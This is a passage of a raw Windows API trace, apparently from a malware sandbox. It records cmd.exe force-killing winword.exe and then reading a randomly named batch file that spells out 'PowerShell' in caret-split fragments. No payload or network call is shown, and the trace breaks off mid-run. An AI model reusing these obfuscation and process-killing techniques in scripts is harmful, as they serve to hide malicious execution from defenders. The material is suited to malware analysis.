_String2="RMDIR") returned 2 [0162.868] _wcsicmp (_String1="Taskkill", _String2="PATH") returned 4 [0162.868] _wcsicmp (_String1="Taskkill", _String2="GOTO") returned 13 [0162.868] _wcsicmp (_String1="Taskkill", _String2="SHIFT") returned 1 [0162.868] _wcsicmp (_String1="Taskkill", _String2="CLS") returned 17 [0162.868] _wcsicmp (_String1="Taskkill", _String2="CALL") returned 17 [0162.868] _wcsicmp (_String1="Taskkill", _String2="VERIFY") returned -2 [0162.868] _wcsicmp (_String1="Taskkill", _String2="VER") returned -2 [0162.868] _wcsicmp (_String1="Taskkill", _String2="VOL") returned -2 [0162.868] _wcsicmp (_String1="Taskkill", _String2="EXIT") returned 15 [0162.868] _wcsicmp (_String1="Taskkill", _String2="SETLOCAL") returned 1 [0162.868] _wcsicmp (_String1="Taskkill", _String2="ENDLOCAL") returned 15 [0162.868] _wcsicmp (_String1="Taskkill", _String2="TITLE") returned -8 [0162.868] _wcsicmp (_String1="Taskkill", _String2="START") returned 1 [0162.868] _wcsicmp (_String1="Taskkill", _String2="DPATH") returned 16 [0162.868] _wcsicmp (_String1="Taskkill", _String2="KEYS") returned 9 [0162.868] _wcsicmp (_String1="Taskkill", _String2="MOVE") returned 7 [0162.868] _wcsicmp (_String1="Taskkill", _String2="PUSHD") returned 4 [0162.868] _wcsicmp (_String1="Taskkill", _String2="POPD") returned 4 [0162.868] _wcsicmp (_String1="Taskkill", _String2="ASSOC") returned 19 [0162.868] _wcsicmp (_String1="Taskkill", _String2="FTYPE") returned 14 [0162.868] _wcsicmp (_String1="Taskkill", _String2="BREAK") returned 18 [0162.868] _wcsicmp (_String1="Taskkill", _String2="COLOR") returned 17 [0162.868] _wcsicmp (_String1="Taskkill", _String2="MKLINK") returned 7 [0162.869] _wcsicmp (_String1="Taskkill", _String2="DIR") returned 16 [0162.869] _wcsicmp (_String1="Taskkill", _String2="ERASE") returned 15 [0162.869] _wcsicmp (_String1="Taskkill", _String2="DEL") returned 16 [0162.869] _wcsicmp (_String1="Taskkill", _String2="TYPE") returned -24 [0162.869] _wcsicmp (_String1="Taskkill", _String2="COPY") returned 17 [0162.869] _wcsicmp (_String1="Taskkill", _String2="CD") returned 17 [0162.869] _wcsicmp (_String1="Taskkill", _String2="CHDIR") returned 17 [0162.869] _wcsicmp (_String1="Taskkill", _String2="RENAME") returned 2 [0162.869] _wcsicmp (_String1="Taskkill", _String2="REN") returned 2 [0162.869] _wcsicmp (_String1="Taskkill", _String2="ECHO") returned 15 [0162.869] _wcsicmp (_String1="Taskkill", _String2="SET") returned 1 [0162.869] _wcsicmp (_String1="Taskkill", _String2="PAUSE") returned 4 [0162.869] _wcsicmp (_String1="Taskkill", _String2="DATE") returned 16 [0162.869] _wcsicmp (_String1="Taskkill", _String2="TIME") returned -8 [0162.869] _wcsicmp (_String1="Taskkill", _String2="PROMPT") returned 4 [0162.869] _wcsicmp (_String1="Taskkill", _String2="MD") returned 7 [0162.869] _wcsicmp (_String1="Taskkill", _String2="MKDIR") returned 7 [0162.869] _wcsicmp (_String1="Taskkill", _String2="RD") returned 2 [0162.869] _wcsicmp (_String1="Taskkill", _String2="RMDIR") returned 2 [0162.869] _wcsicmp (_String1="Taskkill", _String2="PATH") returned 4 [0162.869] _wcsicmp (_String1="Taskkill", _String2="GOTO") returned 13 [0162.869] _wcsicmp (_String1="Taskkill", _String2="SHIFT") returned 1 [0162.869] _wcsicmp (_String1="Taskkill", _String2="CLS") returned 17 [0162.869] _wcsicmp (_String1="Taskkill", _String2="CALL") returned 17 [0162.869] _wcsicmp (_String1="Taskkill", _String2="VERIFY") returned -2 [0162.869] _wcsicmp (_String1="Taskkill", _String2="VER") returned -2 [0162.869] _wcsicmp (_String1="Taskkill", _String2="VOL") returned -2 [0162.869] _wcsicmp (_String1="Taskkill", _String2="EXIT") returned 15 [0162.869] _wcsicmp (_String1="Taskkill", _String2="SETLOCAL") returned 1 [0162.869] _wcsicmp (_String1="Taskkill", _String2="ENDLOCAL") returned 15 [0162.869] _wcsicmp (_String1="Taskkill", _String2="TITLE") returned -8 [0162.869] _wcsicmp (_String1="Taskkill", _String2="START") returned 1 [0162.869] _wcsicmp (_String1="Taskkill", _String2="DPATH") returned 16 [0162.869] _wcsicmp (_String1="Taskkill", _String2="KEYS") returned 9 [0162.869] _wcsicmp (_String1="Taskkill", _String2="MOVE") returned 7 [0162.869] _wcsicmp (_String1="Taskkill", _String2="PUSHD") returned 4 [0162.869] _wcsicmp (_String1="Taskkill", _String2="POPD") returned 4 [0162.870] _wcsicmp (_String1="Taskkill", _String2="ASSOC") returned 19 [0162.870] _wcsicmp (_String1="Taskkill", _String2="FTYPE") returned 14 [0162.870] _wcsicmp (_String1="Taskkill", _String2="BREAK") returned 18 [0162.870] _wcsicmp (_String1="Taskkill", _String2="COLOR") returned 17 [0162.870] _wcsicmp (_String1="Taskkill", _String2="MKLINK") returned 7 [0162.870] _wcsicmp (_String1="Taskkill", _String2="FOR") returned 14 [0162.870] _wcsicmp (_String1="Taskkill", _String2="IF") returned 11 [0162.870] _wcsicmp (_String1="Taskkill", _String2="REM") returned 2 [0162.870] ??_V@YAXPEAX@Z () returned 0x1 [0162.870] GetProcessHeap () returned 0x20b0f920000 [0162.870] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0162.870] GetProcessHeap () returned 0x20b0f920000 [0162.870] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4e) returned 0x20b0f92cc70 [0162.870] _wcsnicmp (_String1="Task", _String2="cmd ", _MaxCount=0x4) returned 17 [0162.870] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.871] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.871] GetProcessHeap () returned 0x20b0f920000 [0162.871] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0162.872] SetErrorMode (uMode=0x0) returned 0x0 [0162.872] SetErrorMode (uMode=0x1) returned 0x0 [0162.872] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0162.872] SetErrorMode (uMode=0x0) returned 0x1 [0162.872] GetProcessHeap () returned 0x20b0f920000 [0162.872] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x4a) returned 0x20b0f967fe0 [0162.872] GetProcessHeap () returned 0x20b0f920000 [0162.872] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x4a [0162.872] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.872] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.872] GetProcessHeap () returned 0x20b0f920000 [0162.872] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d5f0 [0162.872] GetProcessHeap () returned 0x20b0f920000 [0162.872] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0162.872] GetProcessHeap () returned 0x20b0f920000 [0162.872] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0162.872] GetProcessHeap () returned 0x20b0f920000 [0162.872] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0162.872] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.872] GetProcessHeap () returned 0x20b0f920000 [0162.872] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92e2a0 [0162.872] GetProcessHeap () returned 0x20b0f920000 [0162.873] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e2a0, Size=0x7e) returned 0x20b0f92e2a0 [0162.873] GetProcessHeap () returned 0x20b0f920000 [0162.873] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e2a0) returned 0x7e [0162.873] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.873] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d030 [0162.873] FindClose (in: hFindFile=0x20b0f92d030 | out: hFindFile=0x20b0f92d030) returned 1 [0162.873] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.873] GetLastError () returned 0x2 [0162.873] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92ceb0 [0162.873] FindClose (in: hFindFile=0x20b0f92ceb0 | out: hFindFile=0x20b0f92ceb0) returned 1 [0162.873] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0162.873] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0162.873] ??_V@YAXPEAX@Z () returned 0x1 [0162.874] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92fe6f0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0162.874] InitializeProcThreadAttributeList (in: lpAttributeList=0x9cb92fe610, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x9cb92fe500 | out: lpAttributeList=0x9cb92fe610, lpSize=0x9cb92fe500) returned 1 [0162.874] UpdateProcThreadAttribute (in: lpAttributeList=0x9cb92fe610, dwFlags=0x0, Attribute=0x60001, lpValue=0x9cb92fe4ec, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x9cb92fe610, lpPreviousValue=0x0) returned 1 [0162.874] GetStartupInfoW (in: lpStartupInfo=0x9cb92fe5a0 | out: lpStartupInfo=0x9cb92fe5a0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0162.874] GetProcessHeap () returned 0x20b0f920000 [0162.874] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f20 [0162.874] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0162.874] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0162.874] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0162.874] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0162.874] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0162.874] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0162.874] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0162.875] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0162.876] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0162.876] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0162.876] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0162.876] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0162.876] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0162.876] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0162.876] GetProcessHeap () returned 0x20b0f920000 [0162.876] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f20) returned 1 [0162.876] GetProcessHeap () returned 0x20b0f920000 [0162.876] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x12) returned 0x20b0f947280 [0162.876] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1 [0162.877] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.877] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x3) returned 1 [0162.878] _get_osfhandle (_FileHandle=0) returned 0x4c [0162.878] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1f7) returned 1 [0162.878] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\taskkill.exe", lpCommandLine="Taskkill /IM \"winword.exe\" /F", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x9cb92fe530*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="Taskkill /IM \"winword.exe\" /F", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x9cb92fe508 | out: lpCommandLine="Taskkill /IM \"winword.exe\" /F", lpProcessInformation=0x9cb92fe508*(hProcess=0xa0, hThread=0x9c, dwProcessId=0x1320, dwThreadId=0x1208)) returned 1 [0163.146] CloseHandle (hObject=0x9c) returned 1 [0163.146] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0163.146] GetProcessHeap () returned 0x20b0f920000 [0163.146] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f929ac0) returned 1 [0163.146] GetEnvironmentStringsW () returned 0x20b0f929ac0* [0163.146] GetProcessHeap () returned 0x20b0f920000 [0163.146] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xac0) returned 0x20b0f947680 [0163.146] FreeEnvironmentStringsA (penv="=") returned 1 [0163.147] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0167.025] GetExitCodeProcess (in: hProcess=0xa0, lpExitCode=0x9cb92fe488 | out: lpExitCode=0x9cb92fe488*=0x0) returned 1 [0167.025] CloseHandle (hObject=0xa0) returned 1 [0167.026] _vsnwprintf (in: _Buffer=0x9cb92fe658, _BufferCount=0x13, _Format="%08X", _ArgList=0x9cb92fe498 | out: _Buffer="00000000") returned 8 [0167.026] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0167.026] GetProcessHeap () returned 0x20b0f920000 [0167.026] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947680) returned 1 [0167.026] GetEnvironmentStringsW () returned 0x20b0f948c40* [0167.026] GetProcessHeap () returned 0x20b0f920000 [0167.026] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xae6) returned 0x20b0f949730 [0167.026] FreeEnvironmentStringsA (penv="=") returned 1 [0167.026] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0167.026] GetProcessHeap () returned 0x20b0f920000 [0167.026] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f949730) returned 1 [0167.026] GetEnvironmentStringsW () returned 0x20b0f948c40* [0167.026] GetProcessHeap () returned 0x20b0f920000 [0167.026] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xae6) returned 0x20b0f949730 [0167.026] FreeEnvironmentStringsA (penv="=") returned 1 [0167.026] GetProcessHeap () returned 0x20b0f920000 [0167.026] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947280) returned 1 [0167.026] DeleteProcThreadAttributeList (in: lpAttributeList=0x9cb92fe610 | out: lpAttributeList=0x9cb92fe610) [0167.027] ??_V@YAXPEAX@Z () returned 0x1 [0167.027] _get_osfhandle (_FileHandle=1) returned 0x50 [0167.027] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x3) returned 1 [0167.031] _get_osfhandle (_FileHandle=1) returned 0x50 [0167.031] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0167.054] _get_osfhandle (_FileHandle=1) returned 0x50 [0167.054] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0167.103] _get_osfhandle (_FileHandle=0) returned 0x4c [0167.103] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0167.199] _get_osfhandle (_FileHandle=0) returned 0x4c [0167.199] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1e7) returned 1 [0167.320] SetConsoleInputExeNameW () returned 0x1 [0167.320] GetConsoleOutputCP () returned 0x1b5 [0167.401] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0167.402] SetThreadUILanguage (LangId=0x0) returned 0x409 [0167.465] ??_V@YAXPEAX@Z () returned 0x1 [0167.466] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa0 [0167.467] _open_osfhandle (_OSFileHandle=0xa0, _Flags=8) returned 3 [0167.467] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.467] SetFilePointer (in: hFile=0xa0, lDistanceToMove=1803, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x70b [0167.467] GetProcessHeap () returned 0x20b0f920000 [0167.467] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e2a0) returned 1 [0167.467] GetProcessHeap () returned 0x20b0f920000 [0167.467] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0167.467] GetProcessHeap () returned 0x20b0f920000 [0167.467] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d5f0) returned 1 [0167.467] GetProcessHeap () returned 0x20b0f920000 [0167.467] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0167.467] GetProcessHeap () returned 0x20b0f920000 [0167.467] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cc70) returned 1 [0167.467] GetProcessHeap () returned 0x20b0f920000 [0167.467] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0167.468] GetProcessHeap () returned 0x20b0f920000 [0167.468] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cb10) returned 1 [0167.468] GetProcessHeap () returned 0x20b0f920000 [0167.468] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0167.468] GetProcessHeap () returned 0x20b0f920000 [0167.468] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0167.468] GetProcessHeap () returned 0x20b0f920000 [0167.468] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0167.469] GetProcessHeap () returned 0x20b0f920000 [0167.469] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92c970) returned 1 [0167.469] GetProcessHeap () returned 0x20b0f920000 [0167.469] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f928040) returned 1 [0167.469] GetProcessHeap () returned 0x20b0f920000 [0167.469] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0167.469] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.469] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x70b [0167.469] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x10aa, lpOverlapped=0x0) returned 1 [0167.469] SetFilePointer (in: hFile=0xa0, lDistanceToMove=1809, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x711 [0167.469] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=6, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="POW^\r\nll /IM \"winword.exe\" /F\r\nn this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 6 [0167.470] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.470] GetFileType (hFile=0xa0) returned 0x1 [0167.470] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.470] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x711 [0167.470] GetProcessHeap () returned 0x20b0f920000 [0167.470] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.470] GetProcessHeap () returned 0x20b0f920000 [0167.470] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.471] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.471] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x711 [0167.471] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed60, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed60*=0x10a4, lpOverlapped=0x0) returned 1 [0167.471] SetFilePointer (in: hFile=0xa0, lDistanceToMove=1815, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x717 [0167.471] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=6, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="erS^\r\nll /IM \"winword.exe\" /F\r\nn this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 6 [0167.471] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.471] GetFileType (hFile=0xa0) returned 0x1 [0167.471] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.471] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x717 [0167.471] GetProcessHeap () returned 0x20b0f920000 [0167.471] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.471] GetProcessHeap () returned 0x20b0f920000 [0167.471] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.471] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.471] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x717 [0167.471] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed60, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed60*=0x109e, lpOverlapped=0x0) returned 1 [0167.471] SetFilePointer (in: hFile=0xa0, lDistanceToMove=1823, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x71f [0167.472] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=8, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="hell ^\r\n /IM \"winword.exe\" /F\r\nn this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 8 [0167.472] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.472] GetFileType (hFile=0xa0) returned 0x1 [0167.472] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.472] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x71f [0167.472] GetProcessHeap () returned 0x20b0f920000 [0167.472] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.472] GetProcessHeap () returned 0x20b0f920000 [0167.472] 